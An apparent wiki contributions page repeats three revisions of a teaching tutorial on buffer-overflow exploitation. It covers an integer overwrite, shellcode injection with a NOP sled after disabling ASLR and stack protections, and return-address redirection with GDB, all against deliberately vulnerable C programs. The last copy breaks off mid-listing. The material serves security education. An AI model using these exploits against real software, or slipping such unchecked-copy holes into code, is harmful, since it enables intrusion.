Elvis Wiki - User contributions [en]

Binary Exploitation (Buffer Overflow)

2024-12-11T19:00:35Z

AKofranek: /* Overview */

== Overview ==

This Pentesting article features 3 examples on exploiting different binaries, that have buffer overflow vulnerabilities.

The examples range from very simple ones to more complex versions.

All examples were created in Linux and written in C.

To compile the C Code into an executable program the GNU Compiler Collection (GCC) was used.
To debug binaries the GNU Debugger (GDB) was used.

== Requirements ==

* Operating system: Linux
* Packages: GNU Compiler Collection (GCC), GNU Debugger (GDB)

Install gcc-multilib and gdb using apt.

<pre>
sudo apt update
sudo apt install gcc-multilib
sudo apt install gdb
</pre>

In order to complete these steps, you must have followed [[Buffer Overflows]] before.

The theoretical part is required to understand basic concepts needed for the examples.

== Example 1: Simple Game to Overwrite an Integer==

This example is quite simple and should only demonstrate that a buffer overflow is possible in general. The buffer itself has a fixed length of 8 bytes. The user input is written to the buffer with the gets() function, which doesn’t check boundaries. Any input that is longer than 8 characters will therefore overwrite what comes after it. In this case the volatile integer will get overwritten. The program acts as a game and reveals a flag if the integer is successfully changed.

The program was compiled with this command:

<pre>
gcc -Wno-implicit-function-declaration -o overflow1 overflow1.c
</pre>

Input smaller than 8 ➜ program exits

[[File:Example1-small.png | 900px]]

Input bigger than 8 ➜ flag

[[File:Example1-enough.png | 900px]]

This is the code in C:

<pre>
#include <stdio.h>

int main() {
volatile int secret_treasure = 0;
char buffer[8];

printf("Welcome to the Treasure Hunt!\n");
printf("The buffer is set to 8. If you exceed this limit, you may reveal the treasure!\n");
printf("Initially, the treasure status is hidden...\n\n");

printf("Enter your code: ");
gets(buffer);

if (secret_treasure != 0) {
printf("\n**** Treasure Found! ****\n");
printf("Your treasure is: FLAG{BUFFER OVERFLOW}\n");
} else {
printf("\nSorry, your code was too small. No treasure found.\n");
}

return 0;
}
</pre>

== Example 2: Execute Your Own Shellcode ==

This example uses a special method of buffer overflows called “stack smashing”. The goal is to execute shellcode by redirecting the execution flow. The return addres will be altered to the start of the buffer.

Since we work with exact addresses, we first disable ASLR for this session. Now the addresses won’t change anymore.

<pre>
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>

The program expects an argument as input. This argument will be copied to the buffer with the strcpy() function. Again, no bounds checking. If the input no not long enough to reach the return address, the program will exit normally. To simplify the search of finding the exact address of the buffer, the program will print the address for us.

This is the code in C:

<pre>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void vuln(char *input) {
char buffer[256];

printf("Buffer address: %p\n", (void *)buffer);

strcpy(buffer, input);
}

int main(int argc, char *argv[]) {
if (argc != 2) {
printf("Usage: %s <input>\n", argv[0]);
return 1;
}

vuln(argv[1]);

printf("Function executed without crashing.\n");
return 0;
}
</pre>

To compile the C code into a program the following command is used.

<pre>
gcc -m32 -no-pie -fno-stack-protector -z execstack -Wno-implicit-function-declaration vulnerable.c -o vulnerable
</pre>

# -m32 ➜ 32-bit file
# -no-pie ➜ start at a fixed address
# -fno-stack-protector ➜ disable canaries
# -z execstack ➜ make the stack executable
# -Wno-implicit-function-declaration ➜ supress warnings

The exploit itself is a python code which is passed as an argument to the program. The offset (padding) are the missing bytes to reach the return address. It can be calculated with the help of a pattern and the GNU Debugger (GDB). With this exact payload a padding of 134 is needed.

The return address will be the address of the buffer. Since the program prints the buffers address, we already know it. If the buffer address is not known in advance, a NOP sled can help to enhance the chance of hitting a possible address. As long as it returns to somewhere in the 100 NOPs, the shellcode will get executed.

While the shellcode would normally create a reverse shell, it only prints „YOU GOT HACKED!!“ to the terminal in our case. It is written in Hexadecimal and represents Assembly. Since little-endian is used, it has to be pushed to the stack in reverse order.

This is the code of the exploit in Python:

<pre>
import sys

nop_sled = b"\x90" * 100

shellcode = (
b"\x31\xc0\xb0\x04\x31\xdb\xb3\x01"
b"\x68\x45\x44\x21\x21" # !!DE
b"\x68\x48\x41\x43\x4b" # HACK
b"\x68\x47\x4f\x54\x20" # GOT
b"\x68\x59\x4f\x55\x20" # YOU
b"\x89\xe1\xb2\x0f\xcd\x80" # write
)

padding = b"A" * 134

return_address = b"\xb0\xcd\xff\xff"

payload = nop_sled + shellcode + padding + return_address

sys.stdout.buffer.write(payload)
</pre>

The exploit can be both, a python script and a perl command.

Python:

<pre>
./vulnerable "$(python3 exploit.py)"
</pre>

Perl:

<pre>
./vulnerable "$(perl -e 'print "\x90"x100 . "\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x68\x45\x44\x21\x21\x68\x48\x41\x43\x4b\x68\x47\x4f\x54\x20\x68\x59\x4f\x55\x20\x89\xe1\xb2\x10\xcd\x80" . "A"x134 . "\xa0\xcd\xff\xff"')"
</pre>

Here is the String of our shellcode.
Since the shellcode is never terminated, the whole stack is printed.

[[File:Example2-hacked.png | 900px]]

== Example 3: Control Flow Alteration via Stack Buffer Overflow Exploitation ==
The following program is vulnerable to stack-based buffer overflows due to the usage of
the insecure gets()-function. gets() is used to write user input into a character array. In
the source code, a function called winner() is defined, which is never called in main().
The objective of the following demonstration is to manipulate the execution flow in a
way that will force the program to execute the winner() function. To achieve that, the
saved return pointer from the stack frame of function will have to be overwritten with
the address of the winner function. Firstly, examine the source:
<pre>
#include <stdio.h>
#include <stdlib.h>

void function(int a, int b, int c) {
char buffer[5];
gets(buffer);
}

void winner(){
printf("Congratulations! You manipulated the execution flow.");
exit(0);
}

int main() {
function(1, 2, 3);
}
</pre>
Compile the source code into a 32-bit binary executable. Note that the compiler would prevent the usage of gets() unless explicitly instructed to ignore the warning using -Wno-implicit-function-declaration.
<pre>
gcc -m32 -Wno-implicit-function-declaration -o stack-overflow stack-overflow.c
</pre>
Open the binary with gdb, insert a breakpoint at the start of the main function and run the program until that first breakpoint.
<pre>
gdb stack-overflow
break main
run
</pre>
Since this binary was not compiled with the -g flag, one cannot list the C source code. Instead, it is possible to disassemble the executable byte code. One can then read the program in assembly language and insert breakpoints at respective instructions.
<pre>
disassemble main
</pre>
Examine the disassembled main function and find the call to function. Note how the stack is prepared (arguments pushed) before function is called.
<pre>
Dump of assembler code for function main:
0x56556203 <+0>: lea ecx,[esp+0x4]
0x56556207 <+4>: and esp,0xfffffff0
0x5655620a <+7>: push DWORD PTR [ecx-0x4]
0x5655620d <+10>: push ebp
0x5655620e <+11>: mov ebp,esp
0x56556210 <+13>: push ecx
=> 0x56556211 <+14>: sub esp,0x4
0x56556214 <+17>: call 0x5655623c <__x86.get_pc_thunk.ax>
0x56556219 <+22>: add eax,0x2ddb
0x5655621e <+27>: sub esp,0x4
0x56556221 <+30>: push 0x3
0x56556223 <+32>: push 0x2
0x56556225 <+34>: push 0x1
0x56556227 <+36>: call 0x565561ad <function>
0x5655622c <+41>: add esp,0x10
0x5655622f <+44>: mov eax,0x0
0x56556234 <+49>: mov ecx,DWORD PTR [ebp-0x4]
0x56556237 <+52>: leave
0x56556238 <+53>: lea esp,[ecx-0x4]
0x5655623b <+56>: ret
</pre>
Disassemble the function "function".
<pre>
disassemble function
</pre>
Find the call to gets.
<pre>
Dump of assembler code for function function:
0x565561ad <+0>: push ebp
0x565561ae <+1>: mov ebp,esp
0x565561b0 <+3>: push ebx
0x565561b1 <+4>: sub esp,0x14
0x565561b4 <+7>: call 0x5655623c <__x86.get_pc_thunk.ax>
0x565561b9 <+12>: add eax,0x2e3b
0x565561be <+17>: sub esp,0xc
0x565561c1 <+20>: lea edx,[ebp-0xd]
0x565561c4 <+23>: push edx
0x565561c5 <+24>: mov ebx,eax
0x565561c7 <+26>: call 0x56556050 <gets@plt>
0x565561cc <+31>: add esp,0x10
0x565561cf <+34>: nop
0x565561d0 <+35>: mov ebx,DWORD PTR [ebp-0x4]
0x565561d3 <+38>: leave
0x565561d4 <+39>: ret
</pre>
Insert a breakpoint at the instruction right after the call to gets. Later, the stack will be examined after the user input has happened. Then continue execution and enter some 'A' characters as user input.
<pre>
break *0x565561cc
continue
</pre>
Examine the current state of the CPU's registers.
<pre>
info registers
</pre>

<pre>
...
esp 0xffffcc50 0xffffcc50
ebp 0xffffcc78 0xffffcc78
...
eip 0x565561cc 0x565561cc <function+31>
...
</pre>
Inspect the current stack frame.
<pre>
info frame
</pre>
Note the saved EIP, which is also called ret or return pointer. This is the instruction address, that will be used to restore EIP with, once the function has finished executing and returns to it's caller.
<pre>
...
eip = 0x565561cc in function; saved eip = 0x5655622c
...
</pre>
One can examine which instruction is saved at that address.
<pre>
x/i 0x5655622c
</pre>
Confirm that it is actually the one right after the function call in <main> by looking at the disassembled main function again.
<pre>
disassemble main
</pre>
Now examine the stack to find the 'A' characters from the user input. Start from the address that EBP points to on the stack. It does not change during execution of the function and provides a good reference point.
<pre>
x/8xw $ebp
</pre>
Note that one can observe the saved frame pointer, sfp, which will be used to restore EBP once the function returns. This is the first word starting from the address that EBP points to. The second word is the return pointer. Afterwards, one can see the functions input arguments, as they have been pushed on the stack as part of the function prologue.
<pre>
0xffffcc78: 0xffffcc98 0x5655622c 0x00000001 0x00000002
0xffffcc88: 0x00000003 ... ... ...
</pre>
Now examine the stack further, subtracting from the address of ebp in order to find the buffer.
<pre>
x/8xw $ebp - 16
</pre>
<pre>
0xffffcc68: 0x41000000 0x00414141 0x00000000 0xf7f9ae14
0xffffcc78: 0xffffcc98 0x5655622c 0x00000001 0x00000002
</pre>
Alternatively, look at the output per byte.
<pre>
x/24xb $ebp - 16
</pre>
<pre>
0xffffcc68: 0x00 0x00 0x00 0x41 0x41 0x41 0x41 0x00
0xffffcc70: 0x00 0x00 0x00 0x00 0x14 0xae 0xf9 0xf7
0xffffcc78: 0x98 0xcc 0xff 0xff 0x2c 0x62 0x55 0x56
</pre>

Find the start of the buffer, the first occurrence of the character 'A' in ASCII-representation 0x41. Calculate the distance to the return pointer: 17 bytes. Note that one would need to fill the buffer space with 17 bytes before one could start overwriting the return pointer.

Now one only needs to find the address of the winner function, which can be used to overwrite the return pointer with. Using the info functions command with the additional search string "winner" will return the address of the function winner.
<pre>
info functions winner
</pre>
<pre>
All functions matching regular expression "winner":
...
0x565561d5 winner
</pre>
Note down the address and begin writing the exploit outside of gdb. Use the exit command to exit from gdb.

Use echo with the flags -n and -e to write raw bytes to a file. The bytestring will contain 17 'A' characters and the bytes that make up the address of winner. These will be written to memory in reverse order, since on a little endian system each word will be interpreted in a way that assigns the lowest address byte to the least significant byte of the word.
<pre>
echo -ne '\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xd5\x61\x55\x56' > exploit.bin
</pre>
Assert that the bytes were written correctly to the file and, if necessary, make changes to it.
<pre>
hexdump -C exploit.bin
hexeditor exploit.bin
</pre>
<pre>
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
00000010 41 d5 61 55 56 |A.aUV|
00000015
</pre>
Run the program supplying the exploit file to it as user input.
<pre>
./stack-overflow < exploit.bin
</pre>
<pre>
Congratulations! You manipulated the flow of execution.
</pre>

== References ==

* https://phrack.org/issues/49/14.html
* https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ccst/-/tree/master/buffer_overflow

[[Category:Pentesting]]

Binary Exploitation (Buffer Overflow)

2024-12-11T18:58:41Z

AKofranek:

== Overview ==

This Pentesting documentation features 3 examples, on how to exploit a binary with a buffer overflow.

The examples range from very simple ones to more advanced and complex versions.

All examples were created in Linux and written in C.
To compile the C Code into an executable program the GNU Compiler Collection (GCC) was used.
To debug binaries the GNU Debugger (GDB) was used.

== Requirements ==

* Operating system: Linux
* Packages: GNU Compiler Collection (GCC), GNU Debugger (GDB)

Install gcc-multilib and gdb using apt.

<pre>
sudo apt update
sudo apt install gcc-multilib
sudo apt install gdb
</pre>

In order to complete these steps, you must have followed [[Buffer Overflows]] before.

The theoretical part is required to understand basic concepts needed for the examples.

== Example 1: Simple Game to Overwrite an Integer==

This example is quite simple and should only demonstrate that a buffer overflow is possible in general. The buffer itself has a fixed length of 8 bytes. The user input is written to the buffer with the gets() function, which doesn’t check boundaries. Any input that is longer than 8 characters will therefore overwrite what comes after it. In this case the volatile integer will get overwritten. The program acts as a game and reveals a flag if the integer is successfully changed.

The program was compiled with this command:

<pre>
gcc -Wno-implicit-function-declaration -o overflow1 overflow1.c
</pre>

Input smaller than 8 ➜ program exits

[[File:Example1-small.png | 900px]]

Input bigger than 8 ➜ flag

[[File:Example1-enough.png | 900px]]

This is the code in C:

<pre>
#include <stdio.h>

int main() {
volatile int secret_treasure = 0;
char buffer[8];

printf("Welcome to the Treasure Hunt!\n");
printf("The buffer is set to 8. If you exceed this limit, you may reveal the treasure!\n");
printf("Initially, the treasure status is hidden...\n\n");

printf("Enter your code: ");
gets(buffer);

if (secret_treasure != 0) {
printf("\n**** Treasure Found! ****\n");
printf("Your treasure is: FLAG{BUFFER OVERFLOW}\n");
} else {
printf("\nSorry, your code was too small. No treasure found.\n");
}

return 0;
}
</pre>

== Example 2: Execute Your Own Shellcode ==

This example uses a special method of buffer overflows called “stack smashing”. The goal is to execute shellcode by redirecting the execution flow. The return addres will be altered to the start of the buffer.

Since we work with exact addresses, we first disable ASLR for this session. Now the addresses won’t change anymore.

<pre>
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>

The program expects an argument as input. This argument will be copied to the buffer with the strcpy() function. Again, no bounds checking. If the input no not long enough to reach the return address, the program will exit normally. To simplify the search of finding the exact address of the buffer, the program will print the address for us.

This is the code in C:

<pre>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void vuln(char *input) {
char buffer[256];

printf("Buffer address: %p\n", (void *)buffer);

strcpy(buffer, input);
}

int main(int argc, char *argv[]) {
if (argc != 2) {
printf("Usage: %s <input>\n", argv[0]);
return 1;
}

vuln(argv[1]);

printf("Function executed without crashing.\n");
return 0;
}
</pre>

To compile the C code into a program the following command is used.

<pre>
gcc -m32 -no-pie -fno-stack-protector -z execstack -Wno-implicit-function-declaration vulnerable.c -o vulnerable
</pre>

# -m32 ➜ 32-bit file
# -no-pie ➜ start at a fixed address
# -fno-stack-protector ➜ disable canaries
# -z execstack ➜ make the stack executable
# -Wno-implicit-function-declaration ➜ supress warnings

The exploit itself is a python code which is passed as an argument to the program. The offset (padding) are the missing bytes to reach the return address. It can be calculated with the help of a pattern and the GNU Debugger (GDB). With this exact payload a padding of 134 is needed.

The return address will be the address of the buffer. Since the program prints the buffers address, we already know it. If the buffer address is not known in advance, a NOP sled can help to enhance the chance of hitting a possible address. As long as it returns to somewhere in the 100 NOPs, the shellcode will get executed.

While the shellcode would normally create a reverse shell, it only prints „YOU GOT HACKED!!“ to the terminal in our case. It is written in Hexadecimal and represents Assembly. Since little-endian is used, it has to be pushed to the stack in reverse order.

This is the code of the exploit in Python:

<pre>
import sys

nop_sled = b"\x90" * 100

shellcode = (
b"\x31\xc0\xb0\x04\x31\xdb\xb3\x01"
b"\x68\x45\x44\x21\x21" # !!DE
b"\x68\x48\x41\x43\x4b" # HACK
b"\x68\x47\x4f\x54\x20" # GOT
b"\x68\x59\x4f\x55\x20" # YOU
b"\x89\xe1\xb2\x0f\xcd\x80" # write
)

padding = b"A" * 134

return_address = b"\xb0\xcd\xff\xff"

payload = nop_sled + shellcode + padding + return_address

sys.stdout.buffer.write(payload)
</pre>

The exploit can be both, a python script and a perl command.

Python:

<pre>
./vulnerable "$(python3 exploit.py)"
</pre>

Perl:

<pre>
./vulnerable "$(perl -e 'print "\x90"x100 . "\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x68\x45\x44\x21\x21\x68\x48\x41\x43\x4b\x68\x47\x4f\x54\x20\x68\x59\x4f\x55\x20\x89\xe1\xb2\x10\xcd\x80" . "A"x134 . "\xa0\xcd\xff\xff"')"
</pre>

Here is the String of our shellcode.
Since the shellcode is never terminated, the whole stack is printed.

[[File:Example2-hacked.png | 900px]]

== Example 3: Control Flow Alteration via Stack Buffer Overflow Exploitation ==
The following program is vulnerable to stack-based buffer overflows due to the usage of
the insecure gets()-function. gets() is used to write user input into a character array. In
the source code, a function called winner() is defined, which is never called in main().
The objective of the following demonstration is to manipulate the execution flow in a
way that will force the program to execute the winner() function. To achieve that, the
saved return pointer from the stack frame of function will have to be overwritten with
the address of the winner function. Firstly, examine the source:
<pre>
#include <stdio.h>
#include <stdlib.h>

void function(int a, int b, int c) {
char buffer[5];
gets(buffer);
}

void winner(){
printf("Congratulations! You manipulated the execution flow.");
exit(0);
}

int main() {
function(1, 2, 3);
}
</pre>
Compile the source code into a 32-bit binary executable. Note that the compiler would prevent the usage of gets() unless explicitly instructed to ignore the warning using -Wno-implicit-function-declaration.
<pre>
gcc -m32 -Wno-implicit-function-declaration -o stack-overflow stack-overflow.c
</pre>
Open the binary with gdb, insert a breakpoint at the start of the main function and run the program until that first breakpoint.
<pre>
gdb stack-overflow
break main
run
</pre>
Since this binary was not compiled with the -g flag, one cannot list the C source code. Instead, it is possible to disassemble the executable byte code. One can then read the program in assembly language and insert breakpoints at respective instructions.
<pre>
disassemble main
</pre>
Examine the disassembled main function and find the call to function. Note how the stack is prepared (arguments pushed) before function is called.
<pre>
Dump of assembler code for function main:
0x56556203 <+0>: lea ecx,[esp+0x4]
0x56556207 <+4>: and esp,0xfffffff0
0x5655620a <+7>: push DWORD PTR [ecx-0x4]
0x5655620d <+10>: push ebp
0x5655620e <+11>: mov ebp,esp
0x56556210 <+13>: push ecx
=> 0x56556211 <+14>: sub esp,0x4
0x56556214 <+17>: call 0x5655623c <__x86.get_pc_thunk.ax>
0x56556219 <+22>: add eax,0x2ddb
0x5655621e <+27>: sub esp,0x4
0x56556221 <+30>: push 0x3
0x56556223 <+32>: push 0x2
0x56556225 <+34>: push 0x1
0x56556227 <+36>: call 0x565561ad <function>
0x5655622c <+41>: add esp,0x10
0x5655622f <+44>: mov eax,0x0
0x56556234 <+49>: mov ecx,DWORD PTR [ebp-0x4]
0x56556237 <+52>: leave
0x56556238 <+53>: lea esp,[ecx-0x4]
0x5655623b <+56>: ret
</pre>
Disassemble the function "function".
<pre>
disassemble function
</pre>
Find the call to gets.
<pre>
Dump of assembler code for function function:
0x565561ad <+0>: push ebp
0x565561ae <+1>: mov ebp,esp
0x565561b0 <+3>: push ebx
0x565561b1 <+4>: sub esp,0x14
0x565561b4 <+7>: call 0x5655623c <__x86.get_pc_thunk.ax>
0x565561b9 <+12>: add eax,0x2e3b
0x565561be <+17>: sub esp,0xc
0x565561c1 <+20>: lea edx,[ebp-0xd]
0x565561c4 <+23>: push edx
0x565561c5 <+24>: mov ebx,eax
0x565561c7 <+26>: call 0x56556050 <gets@plt>
0x565561cc <+31>: add esp,0x10
0x565561cf <+34>: nop
0x565561d0 <+35>: mov ebx,DWORD PTR [ebp-0x4]
0x565561d3 <+38>: leave
0x565561d4 <+39>: ret
</pre>
Insert a breakpoint at the instruction right after the call to gets. Later, the stack will be examined after the user input has happened. Then continue execution and enter some 'A' characters as user input.
<pre>
break *0x565561cc
continue
</pre>
Examine the current state of the CPU's registers.
<pre>
info registers
</pre>

<pre>
...
esp 0xffffcc50 0xffffcc50
ebp 0xffffcc78 0xffffcc78
...
eip 0x565561cc 0x565561cc <function+31>
...
</pre>
Inspect the current stack frame.
<pre>
info frame
</pre>
Note the saved EIP, which is also called ret or return pointer. This is the instruction address, that will be used to restore EIP with, once the function has finished executing and returns to it's caller.
<pre>
...
eip = 0x565561cc in function; saved eip = 0x5655622c
...
</pre>
One can examine which instruction is saved at that address.
<pre>
x/i 0x5655622c
</pre>
Confirm that it is actually the one right after the function call in <main> by looking at the disassembled main function again.
<pre>
disassemble main
</pre>
Now examine the stack to find the 'A' characters from the user input. Start from the address that EBP points to on the stack. It does not change during execution of the function and provides a good reference point.
<pre>
x/8xw $ebp
</pre>
Note that one can observe the saved frame pointer, sfp, which will be used to restore EBP once the function returns. This is the first word starting from the address that EBP points to. The second word is the return pointer. Afterwards, one can see the functions input arguments, as they have been pushed on the stack as part of the function prologue.
<pre>
0xffffcc78: 0xffffcc98 0x5655622c 0x00000001 0x00000002
0xffffcc88: 0x00000003 ... ... ...
</pre>
Now examine the stack further, subtracting from the address of ebp in order to find the buffer.
<pre>
x/8xw $ebp - 16
</pre>
<pre>
0xffffcc68: 0x41000000 0x00414141 0x00000000 0xf7f9ae14
0xffffcc78: 0xffffcc98 0x5655622c 0x00000001 0x00000002
</pre>
Alternatively, look at the output per byte.
<pre>
x/24xb $ebp - 16
</pre>
<pre>
0xffffcc68: 0x00 0x00 0x00 0x41 0x41 0x41 0x41 0x00
0xffffcc70: 0x00 0x00 0x00 0x00 0x14 0xae 0xf9 0xf7
0xffffcc78: 0x98 0xcc 0xff 0xff 0x2c 0x62 0x55 0x56
</pre>

Find the start of the buffer, the first occurrence of the character 'A' in ASCII-representation 0x41. Calculate the distance to the return pointer: 17 bytes. Note that one would need to fill the buffer space with 17 bytes before one could start overwriting the return pointer.

Now one only needs to find the address of the winner function, which can be used to overwrite the return pointer with. Using the info functions command with the additional search string "winner" will return the address of the function winner.
<pre>
info functions winner
</pre>
<pre>
All functions matching regular expression "winner":
...
0x565561d5 winner
</pre>
Note down the address and begin writing the exploit outside of gdb. Use the exit command to exit from gdb.

Use echo with the flags -n and -e to write raw bytes to a file. The bytestring will contain 17 'A' characters and the bytes that make up the address of winner. These will be written to memory in reverse order, since on a little endian system each word will be interpreted in a way that assigns the lowest address byte to the least significant byte of the word.
<pre>
echo -ne '\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xd5\x61\x55\x56' > exploit.bin
</pre>
Assert that the bytes were written correctly to the file and, if necessary, make changes to it.
<pre>
hexdump -C exploit.bin
hexeditor exploit.bin
</pre>
<pre>
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
00000010 41 d5 61 55 56 |A.aUV|
00000015
</pre>
Run the program supplying the exploit file to it as user input.
<pre>
./stack-overflow < exploit.bin
</pre>
<pre>
Congratulations! You manipulated the flow of execution.
</pre>

== References ==

* https://phrack.org/issues/49/14.html
* https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ccst/-/tree/master/buffer_overflow

[[Category:Pentesting]]

Binary Exploitation (Buffer Overflow)

2024-12-11T18:57:06Z

AKofranek:

== Summary ==

This Pentesting documentation features 3 examples, on how to exploit a binary with a buffer overflow.

The examples range from very simple ones to more advanced and complex versions.

== Description ==

All examples were created in Linux and written in C.
To compile the C Code into an executable program the GNU Compiler Collection (GCC) was used.
To debug binaries the GNU Debugger (GDB) was used.

== Requirements ==

* Operating system: Linux
* Packages: GNU Compiler Collection (GCC), GNU Debugger (GDB)

Install gcc-multilib and gdb using apt.

<pre>
sudo apt update
sudo apt install gcc-multilib
sudo apt install gdb
</pre>

In order to complete these steps, you must have followed [[Buffer Overflows]] before.

The theoretical part is required to understand basic concepts needed for the examples.

== Example 1: Simple Game to Overwrite an Integer==

This example is quite simple and should only demonstrate that a buffer overflow is possible in general. The buffer itself has a fixed length of 8 bytes. The user input is written to the buffer with the gets() function, which doesn’t check boundaries. Any input that is longer than 8 characters will therefore overwrite what comes after it. In this case the volatile integer will get overwritten. The program acts as a game and reveals a flag if the integer is successfully changed.

The program was compiled with this command:

<pre>
gcc -Wno-implicit-function-declaration -o overflow1 overflow1.c
</pre>

Input smaller than 8 ➜ program exits

[[File:Example1-small.png | 900px]]

Input bigger than 8 ➜ flag

[[File:Example1-enough.png | 900px]]

This is the code in C:

<pre>
#include <stdio.h>

int main() {
volatile int secret_treasure = 0;
char buffer[8];

printf("Welcome to the Treasure Hunt!\n");
printf("The buffer is set to 8. If you exceed this limit, you may reveal the treasure!\n");
printf("Initially, the treasure status is hidden...\n\n");

printf("Enter your code: ");
gets(buffer);

if (secret_treasure != 0) {
printf("\n**** Treasure Found! ****\n");
printf("Your treasure is: FLAG{BUFFER OVERFLOW}\n");
} else {
printf("\nSorry, your code was too small. No treasure found.\n");
}

return 0;
}
</pre>

== Example 2: Execute Your Own Shellcode ==

This example uses a special method of buffer overflows called “stack smashing”. The goal is to execute shellcode by redirecting the execution flow. The return addres will be altered to the start of the buffer.

Since we work with exact addresses, we first disable ASLR for this session. Now the addresses won’t change anymore.

<pre>
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>

The program expects an argument as input. This argument will be copied to the buffer with the strcpy() function. Again, no bounds checking. If the input no not long enough to reach the return address, the program will exit normally. To simplify the search of finding the exact address of the buffer, the program will print the address for us.

This is the code in C:

<pre>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void vuln(char *input) {
char buffer[256];

printf("Buffer address: %p\n", (void *)buffer);

strcpy(buffer, input);
}

int main(int argc, char *argv[]) {
if (argc != 2) {
printf("Usage: %s <input>\n", argv[0]);
return 1;
}

vuln(argv[1]);

printf("Function executed without crashing.\n");
return 0;
}
</pre>

To compile the C code into a program the following command is used.

<pre>
gcc -m32 -no-pie -fno-stack-protector -z execstack -Wno-implicit-function-declaration vulnerable.c -o vulnerable
</pre>

# -m32 ➜ 32-bit file
# -no-pie ➜ start at a fixed address
# -fno-stack-protector ➜ disable canaries
# -z execstack ➜ make the stack executable
# -Wno-implicit-function-declaration ➜ supress warnings

The exploit itself is a python code which is passed as an argument to the program. The offset (padding) are the missing bytes to reach the return address. It can be calculated with the help of a pattern and the GNU Debugger (GDB). With this exact payload a padding of 134 is needed.

The return address will be the address of the buffer. Since the program prints the buffers address, we already know it. If the buffer address is not known in advance, a NOP sled can help to enhance the chance of hitting a possible address. As long as it returns to somewhere in the 100 NOPs, the shellcode will get executed.

While the shellcode would normally create a reverse shell, it only prints „YOU GOT HACKED!!“ to the terminal in our case. It is written in Hexadecimal and represents Assembly. Since little-endian is used, it has to be pushed to the stack in reverse order.

This is the code of the exploit in Python:

<pre>
import sys

nop_sled = b"\x90" * 100

shellcode = (
b"\x31\xc0\xb0\x04\x31\xdb\xb3\x01"
b"\x68\x45\x44\x21\x21" # !!DE
b"\x68\x48\x41\x43\x4b" # HACK
b"\x68\x47\x4f\x54\x20" # GOT
b"\x68\x59\x4f\x55\x20" # YOU
b"\x89\xe1\xb2\x0f\xcd\x80" # write
)

padding = b"A" * 134

return_address = b"\xb0\xcd\xff\xff"

payload = nop_sled + shellcode + padding + return_address

sys.stdout.buffer.write(payload)
</pre>

The exploit can be both, a python script and a perl command.

Python:

<pre>
./vulnerable "$(python3 exploit.py)"
</pre>

Perl:

<pre>
./vulnerable "$(perl -e 'print "\x90"x100 . "\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x68\x45\x44\x21\x21\x68\x48\x41\x43\x4b\x68\x47\x4f\x54\x20\x68\x59\x4f\x55\x20\x89\xe1\xb2\x10\xcd\x80" . "A"x134 . "\xa0\xcd\xff\xff"')"
</pre>

Here is the String of our shellcode.
Since the shellcode is never terminated, the whole stack is printed.

[[File:Example2-hacked.png | 900px]]

== Example 3: Control Flow Alteration via Stack Buffer Overflow Exploitation ==
The following program is vulnerable to stack-based buffer overflows due to the usage of
the insecure gets()-function. gets() is used to write user input into a character array. In
the source code, a function called winner() is defined, which is never called in main().
The objective of the following demonstration is to manipulate the execution flow in a
way that will force the program to execute the winner() function. To achieve that, the
saved return pointer from the stack frame of function will have to be overwritten with
the address of the winner function. Firstly, examine the source:
<pre>
#include <stdio.h>
#include <stdlib.h>

void function(int a, int b, int c) {
char buffer[5];
gets(buffer);
}

void winner(){
printf("Congratulations! You manipulated the execution flow.");
exit(0);
}

int main() {
function(1, 2, 3);
}
</pre>
Compile the source code into a 32-bit binary executable. Note that the compiler would prevent the usage of gets() unless explicitly instructed to ignore the warning using -Wno-implicit-function-declaration.
<pre>
gcc -m32 -Wno-implicit-function-declaration -o stack-overflow stack-overflow.c
</pre>
Open the binary with gdb, insert a breakpoint at the start of the main function and run the program until that first breakpoint.
<pre>
gdb stack-overflow
break main
run
</pre>
Since this binary was not compiled with the -g flag, one cannot list the C source code. Instead, it is possible to disassemble the executable byte code. One can then read the program in assembly language and insert breakpoints at respective instructions.
<pre>
disassemble main
</pre>
Examine the disassembled main function and find the call to function. Note how the stack is prepared (arguments pushed) before function is called.
<pre>
Dump of assembler code for function main:
0x56556203 <+0>: lea ecx,[esp+0x4]
0x56556207 <+4>: and esp,0xfffffff0
0x5655620a <+7>: push DWORD PTR [ecx-0x4]
0x5655620d <+10>: push ebp
0x5655620e <+11>: mov ebp,esp
0x56556210 <+13>: push ecx
=> 0x56556211 <+14>: sub esp,0x4
0x56556214 <+17>: call 0x5655623c <__x86.get_pc_thunk.ax>
0x56556219 <+22>: add eax,0x2ddb
0x5655621e <+27>: sub esp,0x4
0x56556221 <+30>: push 0x3
0x56556223 <+32>: push 0x2
0x56556225 <+34>: push 0x1
0x56556227 <+36>: call 0x565561ad <function>
0x5655622c <+41>: add esp,0x10
0x5655622f <+44>: mov eax,0x0
0x56556234 <+49>: mov ecx,DWORD PTR [ebp-0x4]
0x56556237 <+52>: leave
0x56556238 <+53>: lea esp,[ecx-0x4]
0x5655623b <+56>: ret
</pre>
Disassemble the function "function".
<pre>
disassemble function
</pre>
Find the call to gets.
<pre>
Dump of assembler code for function function:
0x565561ad <+0>: push ebp
0x565561ae <+1>: mov ebp,esp
0x565561b0 <+3>: push ebx
0x565561b1 <+4>: sub esp,0x14
0x565561b4 <+7>: call 0x5655623c <__x86.get_pc_thunk.ax>
0x565561b9 <+12>: add eax,0x2e3b
0x565561be <+17>: sub esp,0xc
0x565561c1 <+20>: lea edx,[ebp-0xd]
0x565561c4 <+23>: push edx
0x565561c5 <+24>: mov ebx,eax
0x565561c7 <+26>: call 0x56556050 <gets@plt>
0x565561cc <+31>: add esp,0x10
0x565561cf <+34>: nop
0x565561d0 <+35>: mov ebx,DWORD PTR [ebp-0x4]
0x565561d3 <+38>: leave
